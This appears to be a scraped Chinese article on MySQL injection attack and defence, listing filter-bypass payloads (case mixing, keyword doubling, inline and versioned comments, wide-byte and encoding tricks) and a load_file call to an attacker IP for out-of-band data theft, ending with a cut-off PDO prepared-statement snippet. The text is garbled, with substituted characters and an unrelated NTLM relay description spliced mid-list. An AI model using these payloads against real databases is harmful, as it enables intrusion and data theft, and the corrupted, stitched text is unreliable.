- select load_file('\\进击机ip\aa');
九、绕过技能
1. 绕过单引号

2. 大年夜小写绕过
如今假设一个进击者C卷入个中
- C向B提议连接请求
- B向C发送挑衅D(一组随机数据)
- C等待A向B提议连接请求
- 当A向B提议连接请求时,C捏造成B向A发送挑衅D
- A用源自明文口令的DESKEY对挑衅D进行标准DES加密获得响应E,并发往B
- C截获到响应E,将它做为针对(2)中挑衅D的响应发往B,并声称本身是A
- B大年夜SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑衅D进行标准DES加密
- 如不雅(7)上钩算结不雅与C送过来的响应匹配,C被许可以A的身份拜访B。
- ?id=1+UnIoN+SeLecT+1,2,3--
3. 调换绕过
- ?id=1+UNunionION+SEselectLECT+1,2,3--
4. 注释绕过
5. 特别嵌入绕过
- ?id=1/*!UnIoN*/SeLecT+1,2,3--
6. 宽字节注入
7. MySQL版本号字符
- ?id=1+un/**/ion+se/**/lect+1,2,3--
可以用以下语句对一个可能的注入点进行测试
Examples:
- <span style="font-family: 微软雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span>
如许的萌芽语句是可以履行的,我懂得为类似Python中第一行注释指定解析器一样#!/bin/sh
1. MYSQLi
例如今朝的Mysql版本为5.7.17那么/!50717/及其以下的语句即可履行
8. 字符编码绕过
前段时光看到ph师傅的博客是评论辩论mysql字符编码的文┞仿,大年夜概意思如下,原文在这里
当出现有以下代码时,指设置了字符编码为utf-8,但并不是全部为utf-8,而在具体的转换过程中会出现不测的情况,具体可以看ph师傅的文┞仿
- $mysqli->query("set names utf8");
在sql萌芽中,test.php?username=admin%e4中的%e4会被admin忽视掉落而绕过了一些逻辑,还有一些类似于$e4如许的字符如%c2等
9. 绕空格
对于小于或等于版本号的语句就会履行
- $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
- $stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');
- $stmt->bindParam(':name', $name);
- $stmt->bindParam(':value', $value);
- // insert one row
- $name = 'one';
- $value =
推荐阅读
如不雅体系已经连接到互联网,那么进入“Update”标签页,选择“Installed Updates”,之后“Install All Updates”。 在vSphere 6.5中,VMware改换了 vCe>>>详细阅读
本文标题:MySQL注入攻击与防御
地址:http://www.17bianji.com/lsqh/35071.html
1/2 1

网友点评
精彩导读
科技快报
品牌展示